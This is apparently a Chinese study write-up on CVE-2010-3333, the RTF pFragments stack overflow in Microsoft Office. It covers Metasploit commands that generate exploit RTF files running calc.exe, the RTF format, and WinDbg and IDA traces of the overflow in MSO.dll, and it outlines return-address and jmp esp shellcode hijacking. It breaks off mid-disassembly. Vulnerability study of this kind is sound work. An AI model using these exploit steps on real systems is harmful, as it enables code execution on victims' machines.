这个漏洞还是《漏洞战争》中的例子,学东西还是要脚踏实地,一步一步学习。 而且要每天给自己定个目标,尽自己最大的努力去完成,不要拖拉。 我发现自己有拖延症,要努力地去改掉这个坏习惯了。 废话不多说,尽自己最大努力,将《漏洞战争》中的漏洞都亲手调一遍,我相信可以学到很多东西。
0x00 漏洞描述 Microsoft Office
是微软发布的非常流行的办公软件套件
。CVE-2010-3333
(微软编号:MS10-087 )是MicrosoftOffice XP SP3
、Office 2003 SP3
、Office 2007 SP2
、Office 2010
,MacOffice 2004
和Office 2008
,MacOffice 2011
和Mac的Open XML文件格式转换器
中的栈溢出漏洞
。主要是在处理RTF
中的“pFragments”属性
时存在栈溢出,导致攻击者可以借助特制的RTF数据
执行任意代码
,因此该漏洞又名“RTF栈缓冲区溢出漏洞”
。
0x10 分析环境
使用的环境
备注
操作系统
Windows XP Windows 7
版本号:Windows XP Professional SP3 简体中文版 版本号:Windows 7 Enterprise SP0 x86 简体中文版
虚拟机
VMWare Workstations
版本号:15.5.1
调试器
吾爱OllyDbg WinDbg Immunity Debugger
版本号:2016版 版本号:v6.12(x86) 版本号:v1.85
反汇编器
IDA Pro
版本号:7.0
漏洞软件
Microsoft Office Word
版本号1:Microsoft Office Professional 2003 SP3(11.8169.8172) 版本号2:Microsoft Office Professional 2007 SP0(12.0.4518.1014)
0x20 漏洞复现 这里用msf
来生成用于漏洞利用的exploit样本
文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 1、Microsoft Office 2003 SP3 English on Windows XP SP3 English msf > search cve-2010-3333 msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 2 target => 2 msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME CVE-2010-3333(target2,calc).rtf FILENAME => CVE-2010-3333(target2,calc).rtf msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec payload => windows/exec msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe CMD => calc.exe msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'CVE-2010-3333(target2,calc).rtf' file ... [+] CVE-2010-3333(target2,calc).rtf stored at /root/.msf4/local /CVE-2010-3333(target2,calc).rtf 2、Microsoft Office 2007 SP0 English on Windows 7 SP0 English msf > search cve-2010-3333 msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 5 target => 2 msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME CVE-2010-3333(target5,calc).rtf FILENAME => CVE-2010-3333(target5,calc).rtf msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec payload => windows/exec msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe CMD => calc.exe msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'CVE-2010-3333(target5,calc).rtf' file ... [+] CVE-2010-3333(target5,calc).rtf stored at /root/.msf4/local /CVE-2010-3333(target5,calc).rtf 3、PoC(Crash) msf > search cve-2010-3333 msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME CVE-2010-3333(target6,Crash).rtf FILENAME => CVE-2010-3333(target6,Crash).rtf msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6 target => 6 msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'CVE-2010-3333(target6,Crash).rtf' file ... [+] CVE-2010-3333(target6,Crash).rtf stored at /root/.msf4/local /CVE-2010-3333(target6,Crash).rtf
0x30 漏洞原理分析 0x31 RTF文件格式 1、RTF简介 RTF
(Rich Text Format)是Microsoft公司
为进行文本
和图像
信息格式的交换
而指定的一种文件格式
,它适用与不同的设备
、操作环境
和操作系统
。大多数文字处理软件
都可以读写某些版本的RTF
。
2、RTF的组成 2.1、RTF的基本元素 标准RTF文件
只能包含7位ASCII字符
,但可以通过转义序列
对超出ASCII范围
的字符进行编码。由控制字
(Control Word)、控制符
(Control Symbol)和群组
(Group)组成。由于RTF由7位ASCII字符
组成,所以可以在大多数基于PC的操作系统
之间轻松传输。与大多数明文文件
不同,RTF文件不必
包含任何回车/换行符
(CRLFs),RTF解析软件应忽略CRLF
,除非他们可以用作控制字分隔符
。当CRLF
出现在主要组
边界时,RTF文件更具可读性
。
1、控制字(Control Word)
控制字
是RTF用来标记打印控制符
和管理文档信息
的一种特殊格式的命令,RTF
用它作为正文格式
的控制代码
,每个控制字均以一个反斜杠\
开头,并且控制字区分大小写
。ASCII字母序列
由ASCII字母字符(a~z和A~Z)
组成,控制字
(也称为关键字)最初应该不包含任何大写字母
,但是近年来,大写字母出现在一些较新的的控制字
中,控制字的名称
不能超过32个字母
,而分隔符
标志着控制字名称
的结束。其格式为“\ASCII字母序列<分隔符>”
。
<分隔符>
可以使以下之一:
一个空格
。这仅用于分隔控制字,在后续处理中将被忽略。
一个数字或者ASCII减号(-)
,表示数字参数与控制字关联。随后的数字序列由ASCII数字(通常是以反斜杠开头的另一个控制字)以外的任何字符分隔。参数可以是正数或负数。该数字的值范围名义上为–32768至32767,即带符号的16位整数。少数控制字的取值范围是-2,147,483,648到2,147,483,647,即32位带符号整数。这些控制字包括\binN,\revdttmN,\rsidN相关的控制字以及一些图片属性,例如\bliptagN。这里N代表数字参数。 RTF解析器必须允许最多10位数字,并可选地在前面加上减号。如果定界符是空格,则将其丢弃,也就是说,它不会包含在后续处理中。
除字母或数字外的任何字符
。在这种情况下,分隔符终止控制字,而不是控制字的一部分。例如反斜杠“\”,表示后面跟着新的控制字或控制符。
如果用单个空格
分隔控制字,则该空格
不会出现在文档
中(将被忽略
)。单个空格
分隔符后面的任何字符
,包括任何后续空格
,将在文档
中显示为文本
或空格
。因此,应仅在必要时
使用空格
。建议避免使用空格
作为分隔RTF语法
的一种方法,以使其更易于阅读
。您可以使用段落标记
(CR,LF或CRLF)来分隔行
,而无需更改含义,但包含\binN
的目的地
除外。
在此文档中,采用数字参数N
的控制字
是用N
来写的,如\binN
所示,除非控制字
以显式值
出现。唯一的例外是\b
(粗体切换)之类的“切换”控制字
,它只有两种状态
。当此类控制字没有参数
或具有非零参数
时,控制字将打开属性
。当此类控制字的参数为0
时,控制字将关闭该属性
。例如,\b
打开粗体,\b0
关闭粗体。在这些切换控制字
的定义中,控制字名称
后跟一个星号“*”
。
2、单位(Units)
参数N
通常指定尺寸
。 RTF中用于尺寸的单位
可以是点(pts)
,half pts
,twips
,Device-independent
字单位,EMU
或像素(pixels)
,具体取决于控制字
。这些单位汇总在下表中:
Units
Conversions
Points(pts)
72/inch
Half points
144/inch
Twips
1440/inch, 20/pt
Device-independent
294912/inch, 4096/pt
EMUs
914400/inch, 36000/mm, 12700/pt, 635/twip
Pixels
typically 96/inch
EMU(英制单位)
用于某些图形参数尺寸
(请参见\shp
),像素(Pixels)
用于某些位图
和图元文件
(metafile)尺寸。EMU
的精确度为英寸(inch)
,毫米(mm)
,点(pts)
和twips
。 RTF中最常用的单位
是twips
。
3、控制符(Control Symbol)
控制符
由反斜杠
和一个非字母字符
组成。例如,\〜
(反斜杠波浪线)表示一个不间断的空格
。控制符没有分隔符
,即控制符
后面的空格
被视为文本
,而不是分隔符
。
4、组(Group)
一个组
可以由包含在大括号({})
内的文本
,控制字
或控制符
组成。左括号({)
表示组的开始,右括号(})
表示组的结束。每个组
指定受组影响的文本
以及该文本的不同属性
。RTF文件还可以包括字体
、样式
、屏幕颜色
、图片
、脚注
、注释
、页眉
和页脚
、摘要信息
、域
、书签
,以及文档、区段、段落和字符格式属性
,数学运算
、图像
和对象
的组。如果文件中包含字体
,文件
,样式
,颜色
,修订标记
和摘要信息组
以及文档格式属性
,则它们必须出现在RTF正文
之前的RTF头
中。如果未使用
任何组的内容,则可以省略该组
。以下各节讨论了这些组。使用另一个组中定义的属性
的任何组都必须出现在定义这些属性的组
之后。例如,颜色和字体属性
必须在样式组
之前。
5、目的地(Destinations)
某些控制字
(称为目的地
)标记了相关文本集合
的开始,这些文本可能出现在文档中的另一个位置
或目的地
。目的地位置
也可能包含已使用
但根本没有出现在文档中
的文本。目的地的示例
是\footnote组
,其中脚注文本
在控制字
之后。分页符
不能出现在目的地文本
中。目的地控制字
及其相关文本
必须用大括号({})
括起来。
在1987 RTF规范
之后添加的目的地
,可以带有控制符\*
(反斜杠星号)。如果RTF阅读器
无法识别目的地控制字
,则此控制符
标识的目的地
相关文本应被忽略
。添加新的目的地
或组
时,RTF编写者
应遵循使用此控制符
的约定。即使RTF阅读器
无法识别目的地
,其相关文本也应插入文档中
,而目的地
不应使用\*
。
组
中指定的大多数格式
仅影响该组中的文本
(包括该组中的嵌套组
)。通常,组中的文本
会继承外部组中的文本
的格式。但是,RTF的Microsoft实现假定脚注
,注释
,页眉
和页脚组
(在本规范的后面部分介绍)不继承外部组的格式
。因此,为确保正确格式化
这些组,应使用\sectd
,\pard
和\plain
控制字将这些组内的格式
设置为适当的默认值
,然后添加所需的格式
。
控制字
,控制符
和花括号
构成控制信息
。文件中的所有其他字符
均为纯文本
或数据
。这是一个示例,其中包含内部组
中不存在的纯文本
:
{\rtf1\ansi\deff0 {\fonttbl {\f0\froman Tms Rmn;}{\f1\fdecor Symbol;}{\f2\fswiss Helv;}} {\colortbl ;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;} {\stylesheet {\fs20 \snext0 Normal;}} {\info {\author John Doe}{\creatim\yr1990\mo7\dy30\hr10\min48}{\version1}{\edmins0}{\nofpages1}{\nofwords0}{\nofchars0}{\vern8351}} \widoctrl\ftnbj \sectd\linex0\endnhere \pard \plain \fs20 This is plain text. \par}
即使“This is plain text.”
不是内部组
的一部分,它包含在{\rtf1 ...}组
中,因此是RTF文件主体
的一部分。它受\pard
命令指定的格式
的约束。具体来说,\pard
重置任何先前的段落格式
,\plain
重置任何先前的字符格式
,并且\fs20
将字体大小
设置为20 half points
,即10points
。
如前所述,反斜杠(\)
和花括号({})
在RTF中具有特殊含义
。要将这些字符用作文本
,请在其前面加上反斜杠
,例如控制符“\\”
,“\{”
和“\}”
。
2.2、RTF文件的内容 一个完整的RTF文件
包括文件头<header>
和文档区<document>
两大部分,可以用下列语法表示。
1 <File> '{' <header> <document> '}'
通过RTF的文档目录
,我们可以了解到文件头
和文档区
各自所包含的数据,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Contents of an RTF file Header(头) RTF Version(RTF版本:\rtfN,N为RTF文档规范版本的主要版本) Character Set(字符集:\ansi) Unicode RTF(Unicode支持) Default Fonts and Languages(默认字体和语言) Theme Data(主题数据:\themedata) Color Scheme Mapping(配色方案映射:\colorschememapping) Font Table(字体表:\fonttbl) File Table(文件表:\filetbl,当前文档含子文档时,会有这个表) Color Table(颜色表:\colortbl,屏幕颜色、字符颜色和其他颜色信息) Default Properties(默认属性:\*\defchp,\*\defpap) Style Sheet(样式表:\stylesheet) List Tables Paragraph Group Properties(段落组属性:\pgptbl) Revision Marks(修订标记:\*\revtbl) User Protection Information(用户保护信息:\protusertbl) Document Area(文档区域) Information Group(信息组:\info,可以包括标题、作者、关键词、注释和其他特定于该文件的信息。) Read-Only Password Protection(只读密码保护:\passwordhash,表示编辑给定RTF文档所需的密码。) XML Namespace Table(XML命名空间表:\xmlnstbl) Document Formatting Properties(文档格式属性:这些属性必须在文档中的第一个纯文本字符之前。) Mail Merge(邮件合并指的是一种操作,通过这种操作,RTF文档与来自外部数据源的数据一起工作。) Section Text(节文本) Paragraph Text(段落文本) Mathematics(数学运算) Character Text(字符文本:包括字体格式属性,字符边界和阴影,字符修改标记属性,高亮显示,特殊字符) Document Variables(文档变量:\docvar) Bookmarks(书签:\*\bkmkstart,\*\bkmkend) Protection Exceptions(\*\protstart,\*\protend) Pictures(图片:\pict,RTF文件可以包含用其他应用程序创建的图片。) Custom XML Tags() Objects(对象:\object,对象是包含数据和结果的目的地。数据通常对生成文档的应用程序隐藏。) Drawing Objects(绘图对象:绘图对象的主体被定义为一系列属性。控制字{\shp…后面跟着{\*\shpinst,然后是一个形状的所有属性列表。) Footnotes(脚注:\footnote) Comments (Annotations)(注释:RTF注释有两部分,作者ID(由控制字\atnid引入)和注释文本(由控制字\annotation引入);) Fields(域:\field) Index Entries(索引项:\xe控制字引入一个索引项。RTF中的索引项是目的地。) Table of Contents Entries(目录条目:\tc,\tcn) Bidirectional Language Support(双向语言支持:)
0x32 定位漏洞点 1、XP & Office2003 首先打开WINWORD.exe
,然后打开WinDbg
,Attach上WINWORD.exe的进程,程序会自动中断在ntdll!DbgBreakPoint
处,g
运行程序,然后打开CVE-2010-3333(target6,Crash).rtf
文件,程序会中断在MSO.dll
的0x30ed442c
处,此处就是触发异常
的指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 0 :011 > gModLoad: 05450000 055f1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll(a44.628 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax =0000c8ac ebx =05000000 ecx =00000022 edx =00000000 esi =1104c830 edi =00130000 <---eip =30ed442c esp =001237b4 ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - mso!Ordinal1246+0x16b0 : 30ed442c f3a5 rep movs dword ptr es :[edi ],dword ptr [esi ] 0 :000 > !address edi Usage: MemoryMappedFileAllocation Base: 00130000 Base Address: 00130000 End Address: 00133000 Region Size: 00003000 Type: 00040000 MEM_MAPPEDState: 00001000 MEM_COMMITProtect: 00000002 PAGE_READONLY <---Mapped file name: PageFile 0 :000 > lm v m msostart end module name 30c90000 3184c000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image name: mso.dll Timestamp: Tue Jun 19 07 :53 :36 2007 (46771B00) CheckSum: 00BB6E3C ImageSize: 00BBC000 File version: 11.0 .8172 .0 Product version: 11.0 .8172 .0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0000.04e4 CompanyName: Microsoft Corporation ProductName: Microsoft Office 2003 InternalName: MSO OriginalFilename: MSO.DLL ProductVersion: 11.0 .8172 FileVersion: 11.0 .8172 FileDescription: Microsoft Office 2003 component LegalCopyright: Copyright © 1983 -2003 Microsoft Corporation. All rights reserved.
根据调试器
输出的信息,可以知道,这是一个异常
在异常处理之前第一次
发送给调试器
,说明发生了一个异常。0x30ed442c
处的指令可以看作是rep movsd
,这条指令的作用是从源地址(esi)
循环复制数据到目的地址(edi)
,每次复制一个dword
。我们可以看到此时的目的地址(edi)
为0x00130000
,在32位
Windows中,此地址应该是栈底
,栈底之后的内存应该是不具有写权限
的,所以这里发生了非法内存访问
。通过“!address edi”
命令,我们可以知道0x00130000
地址处的内存只具有读权限
。通过“lm v m mso”
命令,我们可以得到MSO.dll
模块相关信息,如加载基址
。如果开启了ASLR
,其加载基址每次都会不同,当然在Windows XP
中是不会变的,Windows XP只支持PEB、TEB的ASLR
,不支持映像的ASLR
。
经过这简单的分析,可以知道这个漏洞是MSO.dll
中的一处栈溢出
漏洞,由于未检测复制数据的长度
,通过rep movsd
指令循环复制内存数据到栈
上,导致对0x00130000
这个只读
内存地址进行写数据
,造成非法访问内存异常
。
我们对触发异常
的指令的地址0x30ed442c
下断点,其位于sub_30ED4406
函数中,我们称其为CrashFun
,通过栈回溯
查看是哪个函数调用了sub_30ED4406
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 0 :010 > bp 30ed442c*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - 0 :010 > gModLoad: 06740000 068e1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dllModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dllBreakpoint 0 hit eax =0000c8ac ebx =05000000 ecx =0000322b edx =00000000 esi =1104000c edi =001237dceip =30ed442c esp =001237b4 ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000206 mso!Ordinal1246+0x16b0 : 30ed442c f3a5 rep movs dword ptr es :[edi ],dword ptr [esi ] 0 :000 > kbChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.001237ec 30f0b56b 00123958 00000000 ffffffff mso!Ordinal1246+0x16b0 0012381c 30f0b4f9 001239a4 00123958 00000000 mso!Ordinal1273+0x2581 <---- 00123a68 30d4d795 00000000 00123aa8 00000000 mso!Ordinal1273+0x250f 00123a90 30d4d70d 30d4d5a8 01c40b88 01c40bc0 mso!Ordinal5575+0xf9 00123a94 30d4d5a8 01c40b88 01c40bc0 01c40a70 mso!Ordinal5575+0x71 00123a98 01c40b88 01c40bc0 01c40a70 30dce40c mso!Ordinal4099+0xf5 00123a9c 01c40bc0 01c40a70 30dce40c 00000000 0x1c40b88 00123aa0 01c40a70 30dce40c 00000000 01c4084c 0x1c40bc0 00123aa4 30dce40c 00000000 01c4084c 00124854 0x1c40a70 00123aa8 00000000 01c4084c 00124854 00000000 mso!Ordinal2940+0x1588c 0 :000 > ub mso!Ordinal1273+0x2581 mso!Ordinal1273+0x256d : 30f0b557 23c1 and eax ,ecx 30f0b559 50 push eax 30f0b55a 8d47ff lea eax ,[edi -1 ] 30f0b55d 50 push eax 30f0b55e 8b4508 mov eax ,dword ptr [ebp +8 ] 30f0b561 6a00 push 0 30f0b563 ff750c push dword ptr [ebp +0Ch ] 30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)
通过栈回溯
,我们可以知道CrashFun(sub_30ED4406)
是在函数sub_30F0B5C2
中调用的。重新调试,对sub_30F0B5C2
函数下断点,从函数sub_30F0B5C2
到溢出地址0x30ed442c
开始单步调试(F10:步过,F8:步进),经过处理后的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 .text: 30F0B544 loc_30F0B544 .text: 30F0B544 .text: 30F0B544 8B 75 10 mov esi , [ebp +arg_8].text: 30F0B547 83 65 FC 00 and [ebp +var_4], 0 .text: 30F0B54B FF 75 14 push [ebp +arg_C].text: 30F0B54E 8B C6 mov eax , esi .text: 30F0B550 F7 D8 neg eax .text: 30F0B552 1B C0 sbb eax , eax .text: 30F0B554 8D 4D FC lea ecx , [ebp +var_4].text: 30F0B557 23 C1 and eax , ecx .text: 30F0B559 50 push eax .text: 30F0B55A 8D 47 FF lea eax , [edi -1 ].text: 30F0B55D 50 push eax .text: 30F0B55E 8B 45 08 mov eax , [ebp +arg_0].text: 30F0B561 6A 00 push 0 .text: 30F0B563 FF 75 0C push [ebp +arg_4].text: 30F0B566 E8 57 00 00 00 call sub_30F0B5C2 <-----.text: 30F0B56B 84 C0 test al , al | | ↓ ↓ ************************************************************************************************* char __userpurge sub_30F0B5C2@<al >(int a1@<eax >, int a2, int a3, int a4, int *a5, int a6) ************************************************************************************************* .text: 30F0B5C2 55 push ebp .text: 30F0B5C3 8B EC mov ebp , esp .text: 30F0B5C5 83 EC 14 sub esp , 14h .text: 30F0B5C8 83 7D 18 00 cmp [ebp +arg_10], 0 .text: 30F0B5CC 57 push edi .text: 30F0B5CD 8B F8 mov edi , eax .text: 30F0B5CF 0F 84 1D 4C 18 00 jz loc_310901F2 .text: 30F0B5D5 8B 4F 08 mov ecx , [edi +8 ] .text: 30F0B5D8 53 push ebx .text: 30F0B5D9 56 push esi .text: 30F0B5DA E8 C4 E8 E1 FF call sub_30D29EA3 | | ↓ ↓ *********************************************************************** int __thiscall sub_30D29EA3(_BYTE *this) *********************************************************************** .text: 30D29EA3 sub_30D29EA3 proc near .text: 30D29EA3 .text: 30D29EA3 56 push esi .text: 30D29EA4 8B F1 mov esi , ecx .text: 30D29EA6 57 push edi .text: 30D29EA7 8D BE C0 00 00 00 lea edi , [esi +0C0h ] .text: 30D29EAD F6 07 01 test byte ptr [edi ], 1 .text: 30D29EB0 74 09 jz short loc_30D29EBB .text: 30D29EB2 loc_30D29EB2: .text: 30D29EB2 5F pop edi .text: 30D29EB3 8D 86 C4 00 00 00 lea eax , [esi +0C4h ] .text: 30D29EB9 5E pop esi .text: 30D29EBA C3 retn | | ↓ ↓ .text: 30F0B5DF FF 75 0C push [ebp +arg_4] .text: 30F0B5E2 8B 70 64 mov esi , [eax +64h ] .text: 30F0B5E5 83 65 F8 00 and [ebp +var_8], 0 .text: 30F0B5E9 8B 06 mov eax , [esi ] .text: 30F0B5EB 8D 4D F0 lea ecx , [ebp +var_10] .text: 30F0B5EE 51 push ecx .text: 30F0B5EF BB 00 00 00 05 mov ebx , 5000000h .text: 30F0B5F4 56 push esi .text: 30F0B5F5 89 5D F4 mov [ebp +var_C], ebx .text: 30F0B5F8 FF 50 1C call dword ptr [eax +1Ch ] <----- [eax +1Ch ] = [0x30da33d8 +0x1c ] = [0x30da33f4 ] = 0x30ED4406 (虚函数地址).text: 30F0B5FB 8B 45 14 mov eax , [ebp +arg_C] | | ↓ ↓ ************************************************************* void __stdcall sub_30ED4406(int a1, void *a2, int a3) ************************************************************* .text: 30ED4406 57 push edi .text: 30ED4407 8B 7C 24 0C mov edi , [esp +4 +arg_4] .text: 30ED440B 85 FF test edi , edi .text: 30ED440D 74 27 jz short loc_30ED4436 .text: 30ED440F 8B 44 24 08 mov eax , [esp +4 +arg_0] .text: 30ED4413 8B 48 08 mov ecx , [eax +8 ] .text: 30ED4416 81 E1 FF FF 00 00 and ecx , 0FFFFh .text: 30ED441C 56 push esi .text: 30ED441D 8B F1 mov esi , ecx .text: 30ED441F 0F AF 74 24 14 imul esi , [esp +8 +arg_8] .text: 30ED4424 03 70 10 add esi , [eax +10h ] .text: 30ED4427 8B C1 mov eax , ecx .text: 30ED4429 C1 E9 02 shr ecx , 2 .text: 30ED442C F3 A5 rep movsd 栈数据: 001237B4 01C40824 <-esp 001237B8 001239A4 001237BC 30F0B5FB 返回到 mso.30F0B5FB 001237C0 01C40824 001237C4 001237DC 001237C8 00000000 001237CC 00000000 001237D0 00000000 001237D4 00000000 001237D8 0000FF35 001237DC FFFF0000 <-pFragments缓冲区起始地址 001237E0 05000000 001237E4 00000000 001237E8 0000FFFF 001237EC 0012381C <-ebp 001237F0 30F0B56B 返回到 mso.30F0B56B 来自 mso.30F0B5C2
根据调试的结果,我们可以知道,CrashFun(sub_30ED4406)
是在函数sub_30F0B5C2
中地址0x30F0B5F8
处的指令调用的。最后一条指令是rep movsd
,其从源地址(esi=0x1104000c)
循环复制数据到目的地址(edi=0x001237dc)
,每次复制一个dword
,复制数据的dword个数
在ecx(0x322b)
中,也就是0xc8ac字节
。其实这个长度是源于样本数据
的,它位于pFragements
属性值的第3个字段
,偏移8个字符
后的4个字符
即为复制数据的大小,如图:
pFragements
数据在栈
上的缓冲区的起始地址
为0x001237DC
,而ebp
为0x001237EC
,其后就是函数sub_30ED4406
的返回地址
。由于PoC中的pFragements属性值的数据量过大,覆盖到不可写的内存地址
导致异常,所以并没有去执行
覆盖后的返回地址
以及SEH异常处理函数
(SEH链被破坏了)。根据MSO.dll
模块函数的反汇编特征
,可以看出,MSO.dll
模块并没有开启GS
。通过查看MSO.dll
的IMAGE_OPTIONAL_HEADER
中的DllCharacteristics
字段,其并没有设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT
标志,可以知道MSO.dll并没有开启DEP
,即使开启了DEP,在Windows XP SP3
上也是没有效果的。
所以我们可以将Shellcode
直接布置在栈
上,首先需要填充pFragments缓冲区起始地址
到保存返回地址的栈地址
之前的栈内存,是0x14
字节,然后用jmp esp
指令的地址覆盖返回地址
,将Shellcode
放置在返回地址的后面,就可以劫持程序执行流
,执行任意代码。也可以通过覆盖返回地址
之后的SEH异常处理函数
的地址,劫持异常处理,获得程序的执行流
。这些到后面漏洞利用章节再细细展开。
2、Win7&Office2007 首先打开WINWORD.exe
,然后打开WinDbg
,Attach上WINWORD.exe的进程,程序会自动中断在ntdll!DbgBreakPoint
处,g
运行程序,然后打开CVE-2010-3333(target6,Crash).rtf
文件,程序会中断在MSO.dll
的0x32cf3814
处,此处就是触发异常
的指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0 :010 > gModLoad: 3bd10000 3bea5000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLLModLoad: 3fd00000 3fd0d000 C:\Windows\system32\WTSAPI32.DLL(d9c.4a8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax =3c524228 ebx =00000000 ecx =0011fdfc edx =00000000 esi =066a55e0 edi =0011ffb8eip =32cf3814 esp =0011fdb0 ebp =0011fdb0 iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll - mso!Ordinal7356+0x1315 : 32cf3814 8b4804 mov ecx ,dword ptr [eax +4 ] ds :0023 :3c52422c=???????? 0 :000 > !address 3c52422c Failed to map Heaps (error 80004005 ) Usage: FreeBase Address: 3c413000 End Address: 3fd00000 Region Size: 038ed000 Type: 00000000 State: 00010000 MEM_FREEProtect: 00000001 PAGE_NOACCESS
我们通过!address
命令查看触发异常的指令mov ecx,dword ptr [eax+4]
所访问的内存地址0x3c52422c
的相关信息,可以发现此地址是不具有访问权限的(PAGE_NOACCESS
)。然后,我们需要追踪数据流
。首先查看栈回溯
:
1 2 3 4 5 6 7 8 9 10 11 12 0 :000 > kbChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.0011fdb0 32e5944d 0011fdc4 41306141 05000000 mso!Ordinal7356+0x1315 (32cf3814当前指令地址) ↑------------------------------------------↓ 0011fdcc 32e595bf 41306141 41386141 0011fdfc mso!Ordinal2605+0x326e (32e5944d)[mso!Ordinal7356+0x1308 (32cf3807)的返回地址] ↑------------------------------------------↓ 0011fe04 37614136 41386141 62413961 31624130 mso!Ordinal2605+0x33e0 (32e595bf)[mso!Ordinal2605+0x323c (32e5941b)的返回地址] 0011fe08 41386141 62413961 31624130 41326241 0x37614136 0011fe0c 62413961 31624130 41326241 62413362 0x41386141 0011fe10 31624130 41326241 62413362 35624134 0x62413961 .....
触发异常的指令(0x32cf3814
)所在函数是sub_32CF3807
,其父函数为sub_32E5941B
,由于栈已被破坏,所以无法再回溯。通过IDA及sub_32E5941B的返回地址
(0x32e595bf),我们可以知道,sub_32E5941B
的父函数是sub_32E5955E
。通过对这几个函数详细分析,得到的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 ************************************************************************************************* char __userpurge sub_32E5955E@<al >(int a1@<eax >, int a2, int a3, int a4, int *a5, int a6) ************************************************************************************************* .text: 32E5955E push ebp .text: 32E5955F mov ebp , esp .text: 32E59561 sub esp , 14h .text: 32E59564 cmp [ebp +arg_10], 0 .text: 32E59568 push edi .text: 32E59569 mov edi , eax .text: 32E5956B jnz short loc_32E5957E ...... .text: 32E5957E mov ecx , [edi +8 ] .text: 32E59581 push ebx .text: 32E59582 push esi .text: 32E59583 call sub_327A2549 .text: 32E59588 push [ebp +arg_4] .text: 32E5958B mov esi , [eax +64h ] .text: 32E5958E and [ebp +var_8], 0 .text: 32E59592 mov eax , [esi ] .text: 32E59594 lea ecx , [ebp +var_10] .text: 32E59597 push ecx .text: 32E59598 mov ebx , 5000000h .text: 32E5959D push esi .text: 32E5959E mov [ebp +var_C], ebx .text: 32E595A1 call dword ptr [eax +1Ch ] | | ↓ ↓ .text: 327C002C push ebp .text: 327C002D mov ebp , esp .text: 